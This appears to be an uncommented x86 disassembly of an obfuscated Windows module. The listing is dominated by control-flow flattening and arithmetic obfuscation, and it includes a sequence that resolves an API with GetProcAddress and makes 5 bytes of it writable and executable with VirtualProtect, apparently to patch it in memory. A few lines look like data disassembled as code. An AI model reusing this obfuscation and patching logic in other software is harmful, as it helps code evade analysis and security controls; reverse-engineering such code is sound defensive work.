and eax, 0x824b114b
mov ecx, eax
xor ecx, 0xf8467a72
mov edx, 0xffffffff
xor edx, 0xf8467a72
and eax, edx
shl eax, 1
sub eax, ecx
sub eax, 0x3d311df9
sub eax, 0x25753418
mov ecx, 0xffffffff
xor ecx, 0x51ab4b74
add eax, ecx
add eax, 1
and eax, 0x6cf1ea0
and eax, 0xc0f219f4
sub eax, 0xc0b64dad
imul edi, eax, 0x98329502
mov edx, 0xffffffff
xor edx, 0x4797def6
mov ecx, edi
and ecx, edx
mov eax, edi
or eax, edx
xor eax, 0xffffffff
imul eax, ecx
mov ecx, edi
and ecx, 0x4797def6
or edi, 0x4797def6
imul edi, ecx
add edi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0xfeec14a0
mov edx, 0xffffffff
xor edx, 0xfeec14a0
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x3f6d0fe8
and ecx, 0xfeec14a0
and edx, 0x3f6d0fe8
or eax, edi
or ecx, edx
xor eax, ecx
mov ecx, 0xd30acac0
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x61466598
add ecx, 0x8822fcce
add ecx, 0x61466598
mov eax, ecx
and eax, 0x33c413df
xor eax, 0xffffffff
add ecx, 0x33c413df
add ecx, 1
add ecx, eax
xor ecx, 0x4ba75441
xor ecx, 0x43e4b359
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xf06e11d5
add eax, ecx
xor ecx, ecx
sub ecx, eax
sub ecx, 0x483bec9
sub ecx, 0x11bfa899
add ecx, 0x483bec9
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1e37f98e
and eax, edx
or ecx, 0x1e37f98e
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
and eax, 0x8c3ea999
mov ecx, 0xe7ba8121
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x43c8b265
xor ecx, 0xffffffff
and ecx, 0x43c8b265
shl ecx, 1
sub ecx, 0x43c8b265
sub eax, ecx
imul eax, eax, 0x48a215ad
mov ecx, 0x275d6eda
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [esi + 0x54]
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0x4dfe1b2a
add ecx, edx
xor edi, edi
sub edi, ecx
mov ecx, 0xdc8a42a6
mov edx, 0x82d3eca0
cmp edi, 0x3212fbcf
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [0x102290f4]
xor edx, edx
div dword [0x102290f8]
mov ecx, 0x718e8974
xor edx, edx
div ecx
and eax, 0x96a1a77
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xde69b0e1
or ecx, 0xde69b0e1
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
sub eax, 0xcab11ea0
and eax, 0xa43fc41f
mov edx, 0xffffffff
xor edx, 0x26ffaf03
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, ecx
and eax, 0xb1051eba
or ecx, 0xb1051eba
add eax, ecx
mov ecx, 0xe039b36f
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x699a1e08
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x699a1e08
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
add ecx, 0xe69b96c7
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xc4dd1f4a
mov eax, 0xffffffff
xor eax, 0xe371234f
or ecx, edx
or eax, 0xe371234f
xor ecx, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0xff850363
shl eax, 1
xor ecx, 0xff850363
add ecx, eax
sub ecx, 0x83c7d129
add ecx, 0xdb949bd9
add ecx, 0x4c9ae7db
sub ecx, 0xdb949bd9
mov edi, 0xffffffff
xor edi, 0x2a7c169c
mov edx, ecx
and edx, edi
mov eax, ecx
or eax, edi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x2a7c169c
or ecx, 0x2a7c169c
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x8ea9ea15
shl eax, 1
xor ecx, 0x8ea9ea15
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x1636e8b
mov edx, 0xffffffff
xor edx, 0x1636e8b
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
and ecx, 0x1385d147
xor ecx, 0xffffffff
add eax, 0x1385d147
add eax, 1
add eax, ecx
mov ecx, 0x6b6af365
xor edx, edx
div ecx
mov edi, 0xffffffff
xor edi, 0x87f768f2
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x87f768f2
or eax, 0x87f768f2
imul eax, edx
add eax, ecx
imul eax, eax, 0x874dba60
mov ecx, 0xc304c75a
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [esi + 0x54]
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x7b8cc269
mov edi, 0xffffffff
xor edi, 0x7b8cc269
and edx, edi
sub edx, ecx
mov ecx, edx
and ecx, 0x712f81d9
shl ecx, 1
xor edx, 0x712f81d9
add edx, ecx
xor edx, 0x50f999e9
and edx, 0x9feb30e7
mov ecx, edx
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x57677c5d
or ecx, edi
mov edi, 0xffffffff
xor edi, 0x57677c5d
mov ebx, 0xffffffff
xor ebx, 0x57677c5d
or edi, ebx
xor edx, 0xffffffff
xor edi, 0xffffffff
or edx, edi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x921e72f1
mov edx, 0xffffffff
xor edx, 0x5e545050
or ecx, edi
or edx, 0x5e545050
xor ecx, 0xffffffff
and ecx, edx
imul edi, ecx, 0xceef62e7
and edi, edi
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x83e584b7
mov edx, 0xffffffff
xor edx, 0x83e584b7
or ecx, edx
xor edi, 0xffffffff
xor ecx, 0xffffffff
or edi, ecx
sub edi, 0x88cc9d8d
and edi, 0x232df94a
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x39381d3e
mov ecx, 0xffffffff
xor ecx, 0x99d308a5
or edi, edx
or ecx, 0x99d308a5
xor edi, 0xffffffff
and edi, ecx
mov ecx, edi
add ecx, 1
xor edi, 0xffffffff
or edi, 0x7b704a41
add edi, ecx
mov ecx, edi
xor ecx, 0x5a3f9972
xor ecx, 0xffffffff
and ecx, 0x5a3f9972
shl ecx, 1
sub ecx, 0x5a3f9972
sub edi, ecx
mov ecx, 0xadbd7789
mov edx, 0xdc8a42a6
cmp edi, 0x1c33cfa8
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [esi + 0x54]
mov dword [eax], 0x27fbb5ce
jmp 0x1012d654
mov ecx, dword [0x102290fc]
mov edx, dword [0x10229100]
mov eax, edx
and eax, ecx
xor eax, 0xffffffff
add ecx, edx
add ecx, 1
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf8d0a4c7
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf8d0a4c7
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
imul eax, eax, 0x2ccab863
imul eax, eax, 0x9be3ba1a
mov edx, eax
xor edx, 0xffffffff
and edx, 0x62afca20
mov edi, 0xffffffff
xor edi, 0x62afca20
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x62afca20
or eax, 0x62afca20
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xc92077c7
mov edi, eax
xor edi, ecx
and edi, eax
mov eax, 0xffffffff
xor eax, 0x6ae3993c
add edi, eax
add edi, 1
xor edi, 0x9b95e953
sub edi, 0x274af200
add edi, 0xf7220135
add edi, 0x274af200
mov eax, edi
xor eax, 0xffffffff
and eax, 0x72e5519b
mov edx, 0xffffffff
xor edx, 0x72e5519b
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xf945f622
and ecx, 0x72e5519b
and edx, 0xf945f622
or eax, edi
or ecx, edx
xor eax, ecx
or eax, 0xe874e1e6
and eax, 0x76d2ec32
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe144b6a
mov ecx, 0xffffffff
xor ecx, 0xbc152c35
or eax, edx
or ecx, 0xbc152c35
xor eax, 0xffffffff
and eax, ecx
imul eax, eax, 0x7f33c8fc
mov edx, eax
xor edx, 0xffffffff
and edx, 0x2566ad40
mov edi, 0xffffffff
xor edi, 0x2566ad40
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x2566ad40
or eax, 0x2566ad40
imul eax, edx
add eax, ecx
or eax, 0x81d7186a
mov ecx, eax
and ecx, 0x6cee9f93
or eax, 0x6cee9f93
add ecx, eax
mov eax, ecx
and eax, 0x6eccfa7a
xor eax, 0xffffffff
add ecx, 0x6eccfa7a
add ecx, 1
add ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0x507654b4
xor eax, 0xffffffff
mov edx, 0x507654b4
and edx, 0x507654b4
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0xe0975e41
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0xc6739f0a
or ecx, 0xc2403000
mov eax, ecx
and eax, 0xa768bc68
xor ecx, 0xa768bc68
or eax, ecx
sub eax, 0xd4d76a25
xor eax, 0xe23f6d61
sub eax, 0x3afbd6
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0xc8bfa296
add eax, ecx
mov ecx, eax
xor ecx, 0x1f2a3d99
xor ecx, 0xffffffff
and ecx, 0x1f2a3d99
shl ecx, 1
sub ecx, 0x1f2a3d99
sub eax, ecx
mov ecx, 0x658723a7
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4dec90ec
mov edi, 0xffffffff
xor edi, 0x4dec90ec
and edx, edi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x4dec90ec
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xfca87cec
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [esi + 0x54]
xor ecx, ecx
sub ecx, 0xc876af6e
add edx, ecx
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0x93186d74
add ecx, edx
xor edi, edi
sub edi, ecx
mov edx, 0xffffffff
xor edx, 0x67e42670
mov ecx, edi
and ecx, edx
mov edx, edi
xor edx, 0x67e42670
add edi, edx
sub edi, ecx
mov ecx, 0xffffffff
xor ecx, 0x9e2b6f0c
xor edx, edx
sub edx, 1
sub ecx, edx
sub edi, ecx
mov ebx, 0xffffffff
xor ebx, 0xd9efb53d
mov edx, edi
and edx, ebx
mov ecx, edi
or ecx, ebx
xor ecx, 0xffffffff
imul ecx, edx
mov edx, edi
and edx, 0xd9efb53d
or edi, 0xd9efb53d
imul edi, edx
add edi, ecx
mov ecx, 0x7838074c
mov edx, 0xbac4b401
cmp edi, 0xf26a0b06
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [0x10229104]
sub eax, dword [0x10229108]
add eax, 0xd3151dcd
mov ecx, 0x8afccd64
xor edx, edx
div ecx
mov edi, 0xffffffff
xor edi, 0x8dcf9ff5
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8dcf9ff5
or eax, 0x8dcf9ff5
imul eax, edx
add eax, ecx
xor eax, 0xbe2416b
and eax, 0x5d01ff93
add eax, 0xab56ea38
sub eax, 0x29754170
sub eax, 0xab56ea38
mov ecx, 0x46c13a7
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x68923388
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x68923388
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xc689fda7
xor eax, 0xae4e0680
mov ecx, 0xc1d9dd37
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0xbaae1cab
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbaae1cab
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x932cb7b6
mov edx, 0xffffffff
xor edx, 0x932cb7b6
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x94dce492
xor edx, edx
div ecx
and eax, 0x7593622
add eax, 0xe4edd2f1
mov ecx, 0xe388d2e5
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x9b0ee556
mov edi, 0xffffffff
xor edi, 0x9b0ee556
mov eax, ecx
and eax, edi
imul eax, edx
mov edx, ecx
and edx, 0x9b0ee556
or ecx, 0x9b0ee556
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [esi + 0x1c], eax
mov edi, 0xffffffff
xor edi, 0xe26f0914
mov edx, 0xffffffff
xor edx, 0xccba22b3
and eax, 0xccba22b3
mov dword [esi + 0x18], eax
and ecx, edx
mov ebx, edi
and ebx, 0xccba22b3
mov eax, edx
and eax, 0xe26f0914
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x18]
or eax, ecx
mov ecx, dword [esi + 0x1c]
mov dword [esi + 0x24], eax
mov eax, dword [esi + 0x20]
or ebx, eax
mov eax, dword [esi + 0x24]
xor eax, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0xccba22b3
and ecx, edx
or eax, ecx
add eax, 0xb2ad23a1
mov ecx, eax
xor ecx, 0x9d5d725d
xor ecx, 0xffffffff
or eax, 0x9d5d725d
and eax, ecx
mov edi, 0xffffffff
xor edi, 0xb746b9a4
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xb746b9a4
or eax, 0xb746b9a4
imul eax, edx
add eax, ecx
or eax, 0x21bd3918
sub eax, 0x88569d1d
xor eax, 0x16a2472d
mov edi, 0xffffffff
xor edi, 0x1a41a22
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x1a41a22
or eax, 0x1a41a22
imul eax, edx
add eax, ecx
add eax, 0xc1c19353
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x44916f1f
mov ecx, 0xffffffff
xor ecx, 0x4cccbf86
or eax, edx
or ecx, 0x4cccbf86
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x29ed3ae5
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x54]
add edi, 0x73a411a3
add edi, 0x6e8df5e5
xor edi, 0x196947f1
mov edx, 0xffffffff
xor edx, 0x27c9c052
mov ecx, edi
and ecx, edx
mov edx, edi
xor edx, 0x27c9c052
add edi, edx
sub edi, ecx
sub edi, 0xc00e310
sub edi, 0x95d2fdeb
mov ecx, 0x7838074c
mov edx, 0xb404a5f8
cmp edi, 0x38ca6212
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [0x1022910c]
mov edi, dword [0x10229110]
mov edx, edi
xor edx, 0xffffffff
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, edi
add eax, edx
sub eax, ecx
and eax, 0xe2b8801c
sub eax, 0x1aa7d873
mov ecx, eax
and ecx, 0x1c2b27d3
xor ecx, 0xffffffff
add eax, 0x1c2b27d3
add eax, 1
add eax, ecx
mov ecx, eax
and ecx, 0xebf1edc4
xor ecx, 0xffffffff
add eax, 0xebf1edc4
add eax, 1
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6c04efca
mov ecx, 0xffffffff
xor ecx, 0x773745db
or eax, edx
or ecx, 0x773745db
xor eax, 0xffffffff
and eax, ecx
xor eax, 0xa90f3e6d
mov edx, 0xffffffff
xor edx, 0xe7493e72
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xe7493e72
add eax, edx
sub eax, ecx
xor eax, 0xf60c0081
imul ecx, eax, 0xf51aea26
mov edx, 0xffffffff
xor edx, 0xcfef6657
mov eax, ecx
xor eax, edx
and eax, ecx
xor eax, 0xe6983eba
mov ecx, 0x7f7f4df9
xor edx, edx
div ecx
and eax, 0x8a848e0a
mov ecx, 0x85b66ee4
xor edx, edx
div ecx
xor eax, 0x498e2621
mov ecx, eax
and ecx, 0xbf70d1fe
xor eax, 0xbf70d1fe
or ecx, eax
add ecx, 0xdcb56816
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x859dfd1c
mov edx, 0xffffffff
xor edx, 0x859dfd1c
and ecx, edx
or eax, ecx
mov ecx, eax
and ecx, 0x896c62c8
shl ecx, 1
xor eax, 0x896c62c8
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7c1f8e18
mov edi, 0xffffffff
xor edi, 0x7c1f8e18
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x7c1f8e18
or eax, 0x7c1f8e18
imul eax, edx
add eax, ecx
and eax, 0xc45641a
mov ecx, eax
and ecx, 0x566718fc
shl ecx, 1
add eax, 0x566718fc
sub eax, ecx
imul ecx, eax, 0xd46872d3
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xa52a33d
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
and eax, 0xec020501
shl eax, 1
xor ecx, 0xec020501
add ecx, eax
sub ecx, 0xd0dc5a3d
add ecx, 0x90fe4a6c
add ecx, 0xd0dc5a3d
mov edi, 0xffffffff
xor edi, 0xc09a9a0c
mov edx, ecx
and edx, edi
mov eax, ecx
or eax, edi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xc09a9a0c
or ecx, 0xc09a9a0c
imul ecx, edx
add ecx, eax
xor ecx, 0x6079bee1
mov eax, ecx
and eax, 0x144f8ba5
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x144f8ba5
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x91801c26
mov edi, 0xffffffff
xor edi, 0x91801c26
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x91801c26
or eax, 0x91801c26
imul eax, edx
add eax, ecx
mov edx, 0xffffffff
xor edx, 0x7b030fd0
mov ecx, eax
xor ecx, edx
and ecx, eax
mov edx, 0xffffffff
xor edx, 0x6010c002
mov eax, ecx
xor eax, edx
and eax, ecx
sub eax, 0xb697b91
sub eax, 0x89f837f2
add eax, 0xb697b91
mov ecx, 0xc3c33625
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [esi + 0x54]
sub edi, 0x13ebf294
sub edi, 0x52aa26fc
add edi, 0x13ebf294
mov ecx, 0xfe900f91
mov edx, 0x640ffaaa
cmp edi, 0x6be239a3
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [esi + 0x3c]
mov edx, dword [esi + 0x38]
mov edi, 0x7ffffbf3
mov ecx, dword [eax]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], 5
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x54]
mov ecx, 0x640ffaaa
mov edx, 0x4f152372
cmp edi, 0x26514f0c
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov ecx, dword [esi + 0x60]
xor ecx, ebp
call fcn.10206a28
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x1022911c]
mov edi, dword [0x10229120]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, edi
and edx, ecx
mov ebx, edi
xor ebx, 0xffffffff
mov ecx, eax
and ecx, ebx
imul ecx, edx
mov edx, eax
and edx, edi
or eax, edi
imul eax, edx
add eax, ecx
xor eax, 0xb61a26d9
mov ecx, 0xd986de1b
xor edx, edx
div ecx
imul eax, eax, 0x52cc39ac
mov ecx, eax
xor ecx, 0xd6f5bcd
xor ecx, 0xffffffff
and ecx, 0xd6f5bcd
shl ecx, 1
sub ecx, 0xd6f5bcd
sub eax, ecx
xor eax, 0x938377ca
mov ecx, 0xd5d58cff
xor edx, edx
div ecx
sub eax, 0x4fcbe0d1
add eax, 0x37550040
add eax, 0x4fcbe0d1
mov edi, 0xffffffff
xor edi, 0x985e97a7
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x985e97a7
or eax, 0x985e97a7
imul eax, edx
add eax, ecx
and eax, 0x218d924c
mov edi, 0xffffffff
xor edi, 0x8ea9cad8
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8ea9cad8
or eax, 0x8ea9cad8
imul eax, edx
add eax, ecx
add eax, 0x2442a648
sub eax, 0xbae9760f
mov ecx, 0x572dbf5
xor edx, edx
div ecx
mov ecx, 0xffffffff
xor ecx, 0xb2f8bf17
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov edi, 0xffffffff
xor edi, 0xa98e9063
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa98e9063
or eax, 0xa98e9063
imul eax, edx
add eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x672b3056
mov edx, 0xffffffff
xor edx, 0x672b3056
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9038ef64
mov edi, 0xffffffff
xor edi, 0x9038ef64
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x9038ef64
or eax, 0x9038ef64
imul eax, edx
add eax, ecx
mov ecx, 0x2f57585
xor edx, edx
div ecx
mov ecx, eax
xor eax, eax
sub eax, 0x699bd83b
sub ecx, eax
add ecx, 0x771dfea2
and ecx, 0xc09946b3
mov edx, 0xffffffff
xor edx, 0x65eb32ae
mov eax, ecx
xor eax, edx
and eax, ecx
imul edx, eax, 0xd8771473
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x592d4e23
mov edi, 0xffffffff
xor edi, 0x592d4e23
mov eax, edx
and eax, edi
imul eax, ecx
mov ecx, edx
and ecx, 0x592d4e23
or edx, 0x592d4e23
imul edx, ecx
add edx, eax
mov edi, edx
xor edi, 0xffffffff
and edi, 0xa17a6e1
mov ecx, 0xffffffff
xor ecx, 0xa17a6e1
and edx, ecx
mov eax, 0xffffffff
xor eax, 0xca786af4
and eax, 0xa17a6e1
and ecx, 0xca786af4
or edi, edx
or eax, ecx
xor edi, eax
sub edi, 0xf31eaff2
mov eax, edi
xor eax, 0xffffffff
and eax, 0x7dc19168
mov edx, 0xffffffff
xor edx, 0x7dc19168
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x2e6ce876
and ecx, 0x7dc19168
and edx, 0x2e6ce876
or eax, edi
or ecx, edx
xor eax, ecx
or eax, 0x1b5dc390
xor eax, 0x1e562fd0
mov ecx, 0x15da3bc6
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x601282fc
shl ecx, 1
xor eax, 0x601282fc
add eax, ecx
or eax, 0x8afd45c2
mov ecx, 0x77bcbbd6
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x54]
mov edi, ecx
or edi, 0xad0e5507
xor edi, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xad0e5507
and ecx, edx
xor edi, 0xffffffff
xor ecx, 0xffffffff
and edi, ecx
mov ecx, edi
and ecx, 0x9bf70302
xor ecx, 0xffffffff
add edi, 0x9bf70302
add edi, 1
add edi, ecx
mov ecx, 0xb3111e31
mov edx, 0xc6f3c222
cmp edi, 0x1d09d40e
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov edi, 0x110b3d28
jns 0x1012ced5
cli
loope 0x1012cec5
push ebp
jecxz 0x1012cefb
daa
sub dword [ebp - 0x416e0e51], esp
pop es
push eax
mov ecx, esp
push eax
mov eax, esp
push eax
mov edx, esp
mov ebx, edx
mov dword [esi + 0x14], ebx
sub esp, 8
mov ebx, esp
and ebx, 0xfffffff8
mov dword [esi + 0x10], ebx
mov esp, ebx
mov ebx, dword [esi + 0x48]
pop esi
adc byte [ecx + 0x485e8bdc], cl
mov dword [ecx], ebx
mov ebx, dword [esi + 0x4c]
mov dword [eax], ebx
mov dword [edx], 0
mov ecx, dword [ecx]
mov dword [esi + 0xc], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
mov edx, dword [esi + 0xc]
mov ecx, eax
adc bh, bh
ror byte [ebx - 0x3e76f3aa], 1
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov ecx, dword [esi + 0x10]
mov edx, eax
mov eax, dword [esi + 0x14]
mov dword [ecx], edx
mov dword [ecx + 4], 0
mov ecx, dword [ecx]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], 5
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 0x54]
mov ecx, 0xc6f3c222
mov edx, 0xd5a634e3
cmp edi, 0xc73d4cae
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1012d654
mov eax, dword [esi + 0x54]
mov dword [eax], 0x93d6bb66
jmp 0x1012d654
mov eax, dword [0x1022912c]
sub eax, dword [0x10229130]
mov ecx, eax
xor ecx, 0xf01f2be9
mov edx, 0xffffffff
xor edx, 0xf01f2be9
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0xcf77fb4d
xor edx, edx
div ecx
xor eax, 0x3b065ff4
imul eax, eax, 0x2c81a653
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x3d950e8
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
and ecx, 0xf590c8f4
shl ecx, 1
xor eax, 0xf590c8f4
add eax, ecx
and eax, 0xada1d607
mov ecx, 0xbfddd2de
xor edx, edx
div ecx
mov edi, 0xffffffff
xor edi, 0x47fee4d7
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x47fee4d7
or eax, 0x47fee4d7
imul eax, edx
add eax, ecx
imul eax, eax, 0x997d9ad8
mov ecx, 0xffffffff
xor ecx, 0xd8c0f387
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x1a10d495
mov edi, eax
xor edi, ecx
and edi, eax
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xb23d0c07
mov edx, 0xffffffff
xor edx, 0xb23d0c07
mov eax, edi
and eax, edx
imul eax, ecx
mov ecx, edi
and ecx, 0xb23d0c07
or edi, 0xb23d0c07
imul edi, ecx
add edi, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x4faec29a
mov edx, 0xffffffff
xor edx, 0x4faec29a
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xcf81ad29
and ecx, 0x4faec29a
and edx, 0xcf81ad29
or eax, edi
or ecx, edx
xor eax, ecx
mov ecx, 0xa21c3c5f
xor edx, edx
div ecx
add eax, 0x20bca1bd
imul eax, eax, 0x6979b8a6
mov ecx, 0x48f9efbc
xor edx, edx
div ecx
add eax, 0x10707e15
or eax, 0xa1429f11
mov edi, 0xffffffff
xor edi, 0x8a5bdcb7
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x8a5bdcb7
or eax, 0x8a5bdcb7
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xb8012e80
xor ecx, 0xffffffff
and ecx, 0xb8012e80
shl ecx, 1
sub ecx, 0xb8012e80
sub eax, ecx
or eax, 0x2b4685f5
mov edx, eax
xor edx, 0xffffffff
and edx, 0x30cce50f
mov edi, 0xffffffff
xor edi, 0x30cce50f
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, 0x30cce50f
or eax, 0x30cce50f
imul eax, edx
add eax, ecx
xor eax, 0x2407166f
xor ecx, ecx
sub ecx, 0x231b4e7b
add eax, ecx
xor eax, 0xd18f954
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x74367c08
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0x1f8bd5a4
mov ecx, 0xc0277cc9
xor edx, edx
div ecx
and eax, 0x868971da
